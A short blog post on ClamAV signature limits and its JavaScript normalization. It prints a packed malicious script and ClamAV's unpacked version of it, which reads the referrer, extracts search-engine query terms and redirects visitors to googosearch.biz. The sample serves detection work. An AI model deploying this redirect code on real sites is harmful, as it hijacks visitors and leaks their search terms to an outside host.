ClamAV Signatures

Recently while working with ClamAV I encountered some cool features I wanted to share.

Signatures Too Long

In one instance, I found out that ClamAV cannot accept signatures greater than a certain length. While I'm not exactly sure what that length is, I'm sure you'll get a syntax error if the signature is too long.

In another instance, I found that ClamAV does alright with heuristics. It may be a custom hack, but the gist of the matter is: I can input the arguments to a (function(p,a,c,k,e,r)) and only the arguments to the function, and ClamAV will detect the use of the function and will include the function in the normalized result.

Example


('e r=x.9,t="",q;4(r.3("m.")!=-1)t="q";4(r.3("7.")!=-1)t="q";4(r.3("8.")!=-1)t="p";4(r.3("a.")!=-1)t="q";4(r.3("f.")!=-1)t="g";4(r.3("j.")!=-1)t="q";4(t.6&&((q=r.3("?"+t+"="))!=-1||(q=r.3("&"+t+"="))!=-1))B.C="v"+"w"+":/"+"/A"+"b"+"k"+"5"+"h."+"c"+"z/s"+"u"+"5"+"h.p"+"d?"+"t"+"y=1&t"+"i"+"l="+r.n(q+2+t.6).o("&")[0];', 39, 39, '|||indexOf|if|rc|length|msn|yahoo|referrer|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|ms|google|substring|split||||||ea|ht|tp|document|||go|window|location'.split('|'), 0, {}));

The above is just the argument list placed in a (function(p,a,c,k,e,r)). Note this does not start with "var a = (function(p,a,c,k,e,r){//...", but rather the argument list that would go in that function instead. What I find nifty is the fact that ClamAV was able to create the normalized JavaScript snippet with the packer function (normalized). 


eval(function(n000,n001,n002,n003,n004,n005){n004=function(n006){return(n006<n001?"":n004(parseint(n006/n001)))+((n006=n006%n001)>35?string.fromcharcode(n006+29):n006.tostring(36))};if(!"".replace(/^/,string)){while(n002--)n005[n004(n002)]=n003[n002]||n004(n002);n003=[function(n007){return n005[n007]}];n004=function(){return"\w+"};n002=1};while(n002--)if(n003[n002])n000=n000.replace(new regexp("\b"+n004(n002)+"\b","g"),n003[n002]);return n000}(var n008=document.referrer,n009="",n010;if(n008.indexof("google.")!=-1)n009="q";if(n008.indexof("msn.")!=-1)n009="q";if(n008.indexof("yahoo.")!=-1)n009="p";if(n008.indexof("altavista.")!=-1)n009="q";if(n008.indexof("aol.")!=-1)n009="query";if(n008.indexof("ask.")!=-1)n009="q";if(n009.length&&((n010=n008.indexof("?"+n009+"="))!=-1||(n010=n008.indexof("&"+n009+"="))!=-1))window.location="http://googosearch.biz/search.php?ty=1&terms="+n008.substring(n010+2+n009.length).split("&")[0];))

Good stuff!

Comments

Post a Comment

Popular posts from this blog

Setup and Install Monero(d) -- p2pool -- xmrig

Image
Video Guide Text Guide Intro MineXMR is shutting down! What are we going to do?! OMG! Greetings and welcome to Kizano's FinTech where I teach you from zero to master in IT and DevOps. Nothing in this video is financial advice since I'm not a financial advisor. I'm an IT guy who's going to teach you some technical details about Monero as a service in Linux, the p2pool software to run the mining pool side chain and xmrig, some mining software that's required in order to start mining. Also, I trust you know the laws of your local juristiction. This is for education and information purposes only. If you're running short on time, feel free to use the timestamps below so you can get what you need and be on your day. If you found this helpful, it would be very grateful if you slapped that like button on your way out to ensure this video shows up at the top of search results for others seeking answers to the same questions I'm about to answer in this video. F...
Read more

Build xmrig on Linux

Hi all, So, I am getting into the crypto-mining space a bit and I wanted to share a few things I've learned. This whole experience has been teaching me a lot as of late! In this post, we'll be talking about xmrig what it is and how to compile it on Linux. I'm going to skip the wallet and other details as I wanted this post to be as context-specific and straight to the point as possible. Let's dive right in. What is xmrig??? My take on this is xmrig is a swiss army knife of a mininig tool that can be used for many algorithms and various coins. I mostly found and used this to mine Monero (XMR), so we'll take that as an example. xmrig supports both CPU and GPU minining, but not all algorithms are CPU- or GPU- friendly. Some are specific to either, so be mindful of what you are doing when you are setting this up. Let's dive into the build and running instructions and examples. Building xmrig I happen to be using d...
Read more

Pulseaudio: Multi-User Setup

Hello and welcome to my blog. If you are finding this page, then you might be in a similar situation I found myself when I wanted to share audio with different apps if they were being used by different user accounts on your local *nix machine when using Pulse audio. Credits to Eli Billauer and Dhole for the configuration directives I needed to make this possible. The Problem I have multiple user accounts on my system that run various apps, like my web browser, chat apps, email and more. I don't like everything running as myself and try to create a user account with just enough privileges to do what it needs to do. Pulseaudio (herein "Pulse") runs as myself when my desktop environment starts. Apps that run normally need to connect to Pulse in some fashion in order to listen to the microphone or play audio on the speakers. When the apps all run as the logged in user, this works great. When the apps run as someone else, this doesn't work or is inconsistent...
Read more